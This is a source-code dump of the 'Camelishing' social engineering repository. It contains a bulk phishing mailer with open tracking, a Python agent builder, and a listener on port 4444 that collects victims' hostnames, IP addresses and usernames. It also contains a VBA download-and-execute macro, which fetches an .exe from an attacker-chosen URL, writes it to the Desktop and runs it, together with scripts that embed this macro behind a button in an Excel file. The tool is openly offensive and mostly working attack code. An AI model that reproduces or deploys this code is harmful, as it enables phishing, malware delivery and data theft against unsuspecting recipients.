├── LICENSE ├── README.md ├── agentServer.py ├── createAgent.py ├── createMacro.py ├── ico ├── 6909249-black-hd-background.jpg ├── Email-15-512.png ├── Example.png ├── ExcelMacro.png ├── Office-icon.png ├── agent.png ├── android.ico ├── canva-envelope-mail-with-magnifying-glass-MACquK28O1k.png ├── classicUpdate.ico ├── exe.PNG ├── exe2.PNG ├── flame-2-xxl.png ├── grey_new_seo2-40-128.png ├── hook.png ├── icon.ico ├── icons ├── info_512pxGREY.png ├── letter__open__post__openmail__mail__email__envelope-128.png ├── mail-email-send-receive-fail-failed-error-3a5c0606a012c200-256x256.png ├── mailsent.jpg ├── search_mail-512.png ├── sent-mail-128.png ├── settingApp.ico ├── windows.ico └── windowsUpdate.ico ├── img ├── Mailsender.PNG ├── STEP1.png ├── STEP2.png ├── STEP3.png ├── STEP4.png ├── STEP5.png ├── agent.png ├── agentcreator.PNG ├── ddecreator.PNG ├── generalsettings.PNG ├── images ├── macrocreator.PNG ├── mailsend.PNG ├── openmail.PNG ├── returninfo.PNG └── statisticreport.PNG ├── macro ├── createfile │ ├── DownloadMacro.txt │ └── _ ├── extractMacro.py ├── macros └── mainmacro.py ├── mailsender ├── maildir └── smtp.py ├── messagebox.py ├── requirements.txt ├── sendMail.py ├── sleuth ├── _ ├── agent.py ├── agentOpenList │ └── Report │ │ └── rapor ├── agentplot.py ├── createReport.py ├── ddeCreate.py ├── mailOpenList │ └── Report │ │ └── rapor └── settings │ ├── Uygulama.spec │ ├── tmpfile │ └── tmp │ └── version.txt └── start.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 AbdulAziz ALTUNTAŞ 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Camelishing 2 | Social Engineering Tool 3 | # Camelishing Social Engineering Tool 4 | 5 | # Python 3x 6 | ![N|Solid](https://camo.githubusercontent.com/3b6539ac63635dcdd5579173803e560aadb0c094/68747470733a2f2f6261646765732e66726170736f66742e636f6d2f6f732f6d69742f6d69742e706e673f763d313033) 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | ## Contact 15 | ```sh 16 | [!]CONTACT[!] 17 | | Coded Abdulaziz ALTUNTAŞ | 18 | | Email: a.azizaltuntas@gmail.com | 19 | | Github: github/azizaltuntas | 20 | | Twitter: @esccopyright | 21 | ``` 22 | 23 | ### Features 24 | ```sh 25 | 1-Bulk email sending 26 | 2-Basic Python Agent Creator 27 | 3-Office Excel Macro Creator 28 | 4-DDE Excel Creator(or Custom Payload) 29 | 5-Return İnformation 30 | *[Mail Open Track] 31 | *[Agent Open Track] 32 | 33 | 6-AutoSave 34 | 7-Statistics Report 35 | 8-User Control 36 | ``` 37 | 38 | ### Installation Modules 39 | ```sh 40 | $ pip install -r requirements.txt 41 | $ Install Microsoft Office 42 | ``` 43 | ### If Installation Failed please try to 44 | ```sh 45 | Install Python 3.6 & Pip3 (Just install Python 3.6 Pip already comes with it!) 46 | Use pip3 to install the requirments 47 | ------------------------- 48 | $ pip3 install -r requirments.txt 49 | ``` 50 | 51 | ### If you get Error to create Macro 52 | ```sh 53 | Please follow the steps below! 54 | ``` 55 | ![N|Solid](https://github.com/cryptonic01/Camelishing/blob/master/img/STEP1.png) 56 | ![N|Solid](https://github.com/cryptonic01/Camelishing/blob/master/img/STEP2.png) 57 | ![N|Solid](https://github.com/cryptonic01/Camelishing/blob/master/img/STEP3.png) 58 | ![N|Solid](https://github.com/cryptonic01/Camelishing/blob/master/img/STEP4.png) 59 | ![N|Solid](https://github.com/cryptonic01/Camelishing/blob/master/img/STEP5.png) 60 | 61 | 62 | 63 | #### Tested and Supported 64 | 65 | ```sh 66 | [+]Windows 7 67 | [+]Windows 10 68 | ``` 69 | 70 | ### +SCREENSHOT 71 | 72 | ### Mail Sender 73 | 74 | ```sh 75 | [+] Note : Compress and send the exe file(rar,zip) 76 | 77 | [+] Start Project : python start.py 78 | ``` 79 | 80 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/Mailsender.PNG) 81 | 82 | ### Macro Creator 83 | 84 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/macrocreator.PNG) 85 | 86 | ### Agent Creator 87 | 88 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/agentcreator.PNG) 89 | 90 | ### Agent 91 | 92 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/agent.png) 93 | 94 | ### DDE Creator 95 | 96 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/ddecreator.PNG) 97 | 98 | ### General Setting 99 | 100 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/generalsettings.PNG) 101 | 102 | ### Mail Send 103 | 104 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/mailsend.PNG) 105 | 106 | ### Open Mail 107 | 108 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/openmail.PNG) 109 | 110 | ### Return Information 111 | 112 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/returninfo.PNG) 113 | 114 | ### Statistic Report 115 | 116 | ![N|Solid](https://raw.githubusercontent.com/azizaltuntas/Camelishing/master/img/statisticreport.PNG) 117 | 118 | 119 | ### and more... 120 | 121 | 122 | -------------------------------------------------------------------------------- /agentServer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import pickle , json 3 | import threading 4 | import os 5 | 6 | class Server(threading.Thread): 7 | 8 | def __init__(self, hs,c): 9 | threading.Thread.__init__(self) 10 | 11 | def run(self): 12 | self.message = "Okey" 13 | 14 | while True: 15 | try: 16 | 17 | self.data = c.recv(1024) 18 | self.data = json.loads(self.data.decode("utf-8")) 19 | 20 | hostname = self.data.get("hostname") 21 | ipadress = self.data.get("ipadress") 22 | opentime = self.data.get("time") 23 | platform = self.data.get("platform") # Two Key ([Windows10,32bit]) 24 | username = self.data.get("username") 25 | 26 | for host in hostname: 27 | HOSTNAME.append(host) 28 | for user in username: 29 | USERNAME.append(user) 30 | for ip in ipadress: 31 | IPADRESS.append(ip) 32 | for optime in opentime: 33 | TIME.append(optime) 34 | for plat in platform: 35 | PLATFORM.append(plat) 36 | 37 | 38 | # HOSTNAME.append(hostname) 39 | # IPADRESS.append(ipadress) 40 | # PLATFORM.append(platform) 41 | # USERNAME.append(username) 42 | # TIME.append(opentime) 43 | 44 | with open(os.getcwd()+'\\dist\\a.txt','w') as h: 45 | h.write(HOSTNAME) 46 | 47 | print(HOSTNAME,IPADRESS,TIME,PLATFORM,USERNAME) 48 | 49 | except: 50 | 51 | break 52 | 53 | c.close() 54 | 55 | host = NONE 56 | port = 4444 57 | 58 | _ = [] 59 | HOSTNAME = [] 60 | IPADRESS = [] 61 | TIME = [] 62 | PLATFORM = [] 63 | USERNAME = [] 64 | 65 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 66 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 67 | s.bind((host, port)) 68 | 69 | while True: 70 | s.listen(400) 71 | c, hs = s.accept() 72 | thread = Server(hs,c) 73 | thread.daemon = True 74 | thread.start() 75 | -------------------------------------------------------------------------------- /createAgent.py: -------------------------------------------------------------------------------- 1 | import os ,sys,subprocess 2 | from messagebox import Message 3 | 4 | class Agent(object): 5 | 6 | def __init__(self,specfile,null): 7 | 8 | spec = specfile 9 | 10 | cmd = 'pyinstaller --onefile %s' %spec 11 | 12 | compiles = os.system(cmd) 13 | 14 | esc = os.getcwd() + '\\dist\\' 15 | esc2 = os.listdir(esc) 16 | 17 | if os.path.isfile(esc + null + '.exe'): 18 | Message("Success","Agent Create Successful !","Info") 19 | else: 20 | Message("Error", "Agent Create Unsuccessful..", "Info") -------------------------------------------------------------------------------- /createMacro.py: -------------------------------------------------------------------------------- 1 | import os 2 | from macro.mainmacro import CreateMacro 3 | import sys 4 | 5 | class Macro(object): 6 | def __init__(self,saveas,url,text,textloc,buttontex,buttonloc,imgpath,imgloc,fname): 7 | try: 8 | 9 | mfile = saveas+"\\"+fname+'.xlsm' 10 | macro = '%s'% os.getcwd()+"\\"+"macro"+"\\"+"createfile"+"\\"+'DownloadMacro.txt' 11 | asfile = saveas+"\\"+fname+'.xlsm' 12 | 13 | savemacroformatfile = 52 14 | 15 | 16 | 17 | filecontrol = os.listdir(saveas) 18 | 19 | for _ in filecontrol: 20 | file,extension = os.path.splitext(_) 21 | if ".bin" or ".xlsm" in _: 22 | if ".bin" in extension: 23 | os.remove(saveas+"\\"+file+extension) 24 | elif ".xlsm" in extension: 25 | pass 26 | else: 27 | pass 28 | 29 | CreateMacro(macro,savemacroformatfile,mfile,saveas,url,text,textloc,buttontex,buttonloc,imgpath,imgloc,asfile) 30 | except Exception as f: 31 | 32 | t, o, tb = sys.exc_info() 33 | print(f, tb.tb_lineno) 34 | 35 | -------------------------------------------------------------------------------- /ico/6909249-black-hd-background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/6909249-black-hd-background.jpg -------------------------------------------------------------------------------- /ico/Email-15-512.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/Email-15-512.png -------------------------------------------------------------------------------- /ico/Example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/Example.png -------------------------------------------------------------------------------- /ico/ExcelMacro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/ExcelMacro.png -------------------------------------------------------------------------------- /ico/Office-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/Office-icon.png -------------------------------------------------------------------------------- /ico/agent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/agent.png -------------------------------------------------------------------------------- /ico/android.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/android.ico -------------------------------------------------------------------------------- /ico/canva-envelope-mail-with-magnifying-glass-MACquK28O1k.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/canva-envelope-mail-with-magnifying-glass-MACquK28O1k.png -------------------------------------------------------------------------------- /ico/classicUpdate.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/classicUpdate.ico -------------------------------------------------------------------------------- /ico/exe.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/exe.PNG -------------------------------------------------------------------------------- /ico/exe2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/exe2.PNG -------------------------------------------------------------------------------- /ico/flame-2-xxl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/flame-2-xxl.png -------------------------------------------------------------------------------- /ico/grey_new_seo2-40-128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/grey_new_seo2-40-128.png -------------------------------------------------------------------------------- /ico/hook.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/hook.png -------------------------------------------------------------------------------- /ico/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/icon.ico -------------------------------------------------------------------------------- /ico/icons: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ico/info_512pxGREY.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/info_512pxGREY.png -------------------------------------------------------------------------------- /ico/letter__open__post__openmail__mail__email__envelope-128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/letter__open__post__openmail__mail__email__envelope-128.png -------------------------------------------------------------------------------- /ico/mail-email-send-receive-fail-failed-error-3a5c0606a012c200-256x256.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/mail-email-send-receive-fail-failed-error-3a5c0606a012c200-256x256.png -------------------------------------------------------------------------------- /ico/mailsent.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/mailsent.jpg -------------------------------------------------------------------------------- /ico/search_mail-512.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/search_mail-512.png -------------------------------------------------------------------------------- /ico/sent-mail-128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/sent-mail-128.png -------------------------------------------------------------------------------- /ico/settingApp.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/settingApp.ico -------------------------------------------------------------------------------- /ico/windows.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/windows.ico -------------------------------------------------------------------------------- /ico/windowsUpdate.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/ico/windowsUpdate.ico -------------------------------------------------------------------------------- /img/Mailsender.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/Mailsender.PNG -------------------------------------------------------------------------------- /img/STEP1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/STEP1.png -------------------------------------------------------------------------------- /img/STEP2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/STEP2.png -------------------------------------------------------------------------------- /img/STEP3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/STEP3.png -------------------------------------------------------------------------------- /img/STEP4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/STEP4.png -------------------------------------------------------------------------------- /img/STEP5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/STEP5.png -------------------------------------------------------------------------------- /img/agent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/agent.png -------------------------------------------------------------------------------- /img/agentcreator.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/agentcreator.PNG -------------------------------------------------------------------------------- /img/ddecreator.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/ddecreator.PNG -------------------------------------------------------------------------------- /img/generalsettings.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/generalsettings.PNG -------------------------------------------------------------------------------- /img/images: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /img/macrocreator.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/macrocreator.PNG -------------------------------------------------------------------------------- /img/mailsend.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/mailsend.PNG -------------------------------------------------------------------------------- /img/openmail.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/openmail.PNG -------------------------------------------------------------------------------- /img/returninfo.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/returninfo.PNG -------------------------------------------------------------------------------- /img/statisticreport.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/azizaltuntas/Camelishing/4ac090f606ea59355929338904415f89bceeb4a6/img/statisticreport.PNG -------------------------------------------------------------------------------- /macro/createfile/DownloadMacro.txt: -------------------------------------------------------------------------------- 1 | Option Explicit 2 | 3 | #If VBA7 And Win64 Then 4 | Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) 5 | #Else 6 | Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 7 | #End If 8 | 9 | Sub Crash() 10 | 11 | Dim myURL As String, sFilename As String 12 | myURL = "http://localhost/" 13 | sFilename = Environ("SystemDrive") & Environ("HomePath") & _ 14 | Application.PathSeparator & "Desktop" & Application.PathSeparator & _ 15 | "file.exe" 16 | 17 | Dim WinHttpReq As Object, oStream As Object 18 | Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") 19 | WinHttpReq.Open "GET", myURL, False ', "username", "password" 20 | WinHttpReq.Send 21 | 22 | myURL = WinHttpReq.ResponseBody 23 | If WinHttpReq.Status = 200 Then 24 | Set oStream = CreateObject("ADODB.Stream") 25 | oStream.Open 26 | oStream.Type = 1 27 | oStream.Write WinHttpReq.ResponseBody 28 | oStream.SaveToFile sFilename, 2 ' 1 = no overwrite, 2 = overwrite 29 | oStream.Close 30 | 31 | Shell sFilename, vbNormalFocus 32 | Sleep 2000 33 | 34 | End If 35 | 36 | End Sub -------------------------------------------------------------------------------- /macro/createfile/_: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /macro/extractMacro.py: -------------------------------------------------------------------------------- 1 | import zipfile from zipfile import BadZipfile import sys , os , time import win32com.client from messagebox import Message class EndCreate(object): def __init__(self,mfile,saveas,url,text,textloc,buttontex,buttonloc,imgpath,imgloc): try: import xlsxwriter print(mfile) print(saveas) excel = win32com.client.Dispatch("Excel.Application") wb = excel.Workbooks.Add() wb.SaveAs(mfile, FileFormat=52) excel.Visible = False time.sleep(3) if os.path.isfile(mfile): workbooktwo = excel.Workbooks.Open(Filename=mfile) module = workbooktwo.VBProject.VBComponents.Add(1) excel.Workbooks(1).Close(SaveChanges=1) excel.Application.Quit() else: excel.Workbooks(1).Close(SaveChanges=0) excel.Application.Quit() sys.stderr.write("No File") sys.stderr.flush() workbook = xlsxwriter.Workbook(mfile) worksheet = workbook.add_worksheet() worksheet.set_column('A:A', 30) worksheet.insert_image(imgloc, imgpath) workbook.add_vba_project(saveas+"\\"+"vbaProject.bin") worksheet.write(textloc, text) worksheet.insert_button(buttonloc, {'macro': 'Crash', 'caption': buttontex, 'width': 80, 'height': 30}) workbook.close() Message("Macro Creator", "Macro Create Successful !", "Finish !") except Exception as f: Message("Macro Creator", "Macro Create Unsuccessful !", "Error !") t, o, tb = sys.exc_info() print(f, tb.tb_lineno) class extractMacro(object): def __init__(self,mfile,saveas,url,text,textloc,buttontex,buttonloc,imgpath,imgloc): try: filetype = ['.xls','.xlsx','.xlsm','.docx','.doc','.xlam','.xltx','.xlm','.xltm','.potm','.sldm'] extlist = [] esc = [filex for filex in filetype if mfile.endswith(filex) and extlist.append(filex)] if not os.path.isfile(mfile): sys.stderr.write("File Not Found") sys.stderr.flush() sys.exit() elif not extlist: sys.stderr.write("Unsupported Extension") sys.stderr.flush() sys.exit(0) else: pass file = zipfile.ZipFile(mfile,mode="r") info = file.namelist() extract = list() for i in info: extract.append(i) if "xl/vbaProject.bin" not in extract: sys.stderr.write("Not Vba File !") sys.stderr.flush() else: data = file.read('xl/vbaProject.bin') with open(saveas+"\\"+"vbaProject.bin",mode="wb") as _: _.write(data) _.close() file.close() os.remove(mfile) except BadZipfile: sys.stderr.write("Not Excel File") sys.stderr.flush() except Exception as f: t, o, tb = sys.exc_info() print(f, tb.tb_lineno) EndCreate(mfile,saveas,url,text,textloc,buttontex,buttonloc,imgpath,imgloc) -------------------------------------------------------------------------------- /macro/macros: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /macro/mainmacro.py: -------------------------------------------------------------------------------- 1 | import win32com.client 2 | import xlsxwriter 3 | import time 4 | import os, sys 5 | from macro.extractMacro import extractMacro 6 | 7 | 8 | class CreateMacro(object): 9 | def __init__(self,macro,savemacroformatfile,mfile,saveas,url,text,textloc,buttontex,buttonloc,imgpath,imgloc,asfile): 10 | 11 | try: 12 | 13 | if os.path.isfile(macro): 14 | 15 | with open(macro, "r") as myfile: 16 | mac = myfile.read() 17 | newmacro = mac.replace('http://localhost/', url) 18 | print(newmacro) 19 | 20 | excel = win32com.client.Dispatch("Excel.Application") 21 | wb = excel.Workbooks.Add() 22 | wb.SaveAs(asfile, FileFormat=savemacroformatfile) 23 | excel.Visible = False 24 | 25 | if os.path.isfile(mfile): 26 | 27 | workbooktwo = excel.Workbooks.Open(Filename=mfile) 28 | module = workbooktwo.VBProject.VBComponents.Add(1) 29 | module.CodeModule.AddFromString(newmacro) 30 | excel.Workbooks(1).Close(SaveChanges=1) 31 | excel.Application.Quit() 32 | 33 | extractMacro(mfile, saveas, url, text, textloc, buttontex, buttonloc, imgpath, imgloc) 34 | 35 | else: 36 | excel.Workbooks(1).Close(SaveChanges=0) 37 | excel.Application.Quit() 38 | sys.stderr.write("No File") 39 | sys.stderr.flush() 40 | 41 | else: 42 | sys.stderr.write("No Macro") 43 | sys.stderr.flush() 44 | sys.exit() 45 | 46 | 47 | except Exception as f: 48 | 49 | t, o, tb = sys.exc_info() 50 | print(f, tb.tb_lineno) 51 | -------------------------------------------------------------------------------- /mailsender/maildir: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /mailsender/smtp.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | import os 3 | import sys 4 | from email.mime.application import MIMEApplication 5 | from PyQt5.QtWidgets import QApplication , QMainWindow ,QFileDialog , QListWidget,QListWidgetItem ,QTreeWidgetItem ,QMessageBox 6 | from email.mime.multipart import MIMEMultipart 7 | from email.mime.text import MIMEText 8 | from email.mime.base import MIMEBase 9 | from email.utils import COMMASPACE 10 | from email import encoders 11 | from messagebox import Message 12 | from threading import Thread 13 | from queue import * 14 | from messagebox import Message 15 | import logging 16 | 17 | 18 | class SendMail(object): 19 | 20 | def skeleton(self,starttime,opentrackurl,attach,sender,message,subject, mailhost, passwd, smtp, port, getmail): 21 | 22 | # logging.basicConfig( 23 | # filename=os.getcwd() + '\\sleuth\\mailOpenList\\' + starttime + '.txt', 24 | # level=logging.INFO, 25 | # format="%(asctime)s:%(levelname)s:%(message)s" 26 | # ) 27 | 28 | mailsend = "sendmail" 29 | 30 | a = 0 31 | while True: 32 | try: 33 | a +=1 34 | mass = getmail.get() 35 | 36 | if '@gmail.com' in mass: 37 | 38 | msg = MIMEMultipart() 39 | msg['From'] = sender 40 | msg['Subject'] = subject 41 | 42 | messagetext = message 43 | msg.attach(MIMEText(str(messagetext), 'plain')) 44 | 45 | 46 | # Attachment Read 47 | 48 | with open(attach, "rb") as file: 49 | 50 | part = MIMEBase('application', 'octet-stream') 51 | part.set_payload((file).read()) 52 | encoders.encode_base64(part) 53 | file = os.path.split(attach) 54 | part.add_header('Content-Disposition', "attachment; filename= %s" % file[1]) 55 | 56 | html = "" 58 | 59 | getlog = "nonsecretkey" 60 | 61 | else: 62 | msg = MIMEMultipart('alternative') 63 | msg['From'] = sender 64 | msg['Subject'] = subject 65 | 66 | messagetext = message 67 | msg.attach(MIMEText(str(messagetext), 'plain')) 68 | 69 | # Attachment Read 70 | 71 | with open(attach, "rb") as file: 72 | 73 | part = MIMEBase('application', 'octet-stream') 74 | part.set_payload((file).read()) 75 | encoders.encode_base64(part) 76 | file = os.path.split(attach) 77 | part.add_header('Content-Disposition', "attachment; filename= %s" % file[1]) 78 | 79 | getlog = "nonsecretkey" 80 | 81 | html = "

"+messagetext+"

"+"" 83 | 84 | 85 | sender = msg['From'] 86 | mail = smtplib.SMTP(smtp, port) 87 | mail.starttls() 88 | mail.login("{}".format(mailhost), '{}'.format(passwd)) 89 | 90 | #Mail Open Track 91 | 92 | 93 | msg.attach(MIMEText(html, 'html')) 94 | msg.attach(part) 95 | 96 | #---------------- 97 | 98 | msg['To'] = mass 99 | text = msg.as_string() 100 | 101 | 102 | 103 | 104 | mail.sendmail(sender, mass, text) 105 | del msg # No consecutive 106 | 107 | mail.set_debuglevel(0) 108 | mail.quit() 109 | getmail.task_done() 110 | 111 | with open(os.getcwd() + "\\sleuth\\mailOpenList\\" + starttime + ".txt",'a') as anan: 112 | 113 | anan.write("Mail Send ! : "+ mass) 114 | 115 | except Exception as f: 116 | 117 | t, o, tb = sys.exc_info() 118 | 119 | print(f, tb.tb_lineno) 120 | getmail.task_done() 121 | sys.stderr.flush() 122 | 123 | 124 | def mess(self,text,inf,title): 125 | self.msg = QMessageBox() 126 | self.msg.setText('{}' .format(text)) 127 | 128 | self.msg.setSizeGripEnabled(True) 129 | self.msg.setInformativeText('{}'.format(inf)) 130 | self.msg.setWindowTitle('{}'.format(title)) 131 | self.msg.setIcon(QMessageBox.Information) 132 | 133 | self.execmsg = self.msg.exec_() 134 | 135 | def __init__(self,thread,starttime,opentrackurl,attach, sender , subject , message , *sendto ,**kwargs): 136 | 137 | 138 | al = Queue() 139 | 140 | smtp = kwargs['smtpt'] 141 | mailhost = kwargs['mailhost'] 142 | passwd = kwargs['passwd'] 143 | port = kwargs['port'] 144 | 145 | thr = int(thread) 146 | 147 | null = "" 148 | 149 | 150 | try: 151 | mail = smtplib.SMTP(smtp, port) 152 | mail.starttls() 153 | mail.login("{}".format(mailhost), '{}'.format(passwd)) 154 | mail.quit() 155 | 156 | 157 | for i in range(thr): 158 | self.t = Thread(target=self.skeleton, args=(starttime,opentrackurl,attach,sender,message,subject, mailhost, passwd, smtp, int(port), al)) 159 | self.t.daemon = True 160 | self.t.start() 161 | 162 | 163 | for mass in sendto: 164 | al.put(mass) 165 | 166 | al.join() 167 | 168 | os.startfile(os.getcwd() + '\\sleuth\\mailOpenList\\' + starttime + '.txt') 169 | 170 | except smtplib.SMTPAuthenticationError: 171 | print("Authentication Error", "Wrong Username or Password !", "Info") 172 | sys.stderr.flush() 173 | 174 | 175 | except smtplib.SMTPConnectError: 176 | print("Connection Error", "SMTP Server Down !", "Info") 177 | sys.stderr.flush() 178 | 179 | except smtplib.SMTPNotSupportedError: 180 | print("Support Error", "SMTP Not Supported !", "Info") 181 | sys.stderr.flush() 182 | 183 | except Exception as f: 184 | 185 | t, o, tb = sys.exc_info() 186 | print(f, tb.tb_lineno) 187 | sys.stderr.flush() 188 | 189 | #SendMail.skeleton(null,msg,mailhost,passwd,smtp,int(port),*sendto) 190 | -------------------------------------------------------------------------------- /messagebox.py: -------------------------------------------------------------------------------- 1 | from PyQt5 import QtCore, QtGui, QtWidgets 2 | from PyQt5.QtWidgets import QMessageBox 3 | 4 | class Message(object): 5 | 6 | def mess(self, text, inf, title): 7 | self.msg = QMessageBox() 8 | self.msg.setText('{}'.format(text)) 9 | self.msg.setInformativeText('{}'.format(inf)) 10 | self.msg.setWindowTitle('{}'.format(title)) 11 | self.msg.setIcon(QMessageBox.Information) 12 | 13 | self.execmsg = self.msg.exec_() 14 | 15 | def __init__(self,text,inf,title): 16 | 17 | self.mess(text,inf,title) 18 | 19 | -------------------------------------------------------------------------------- /requirements.txt: 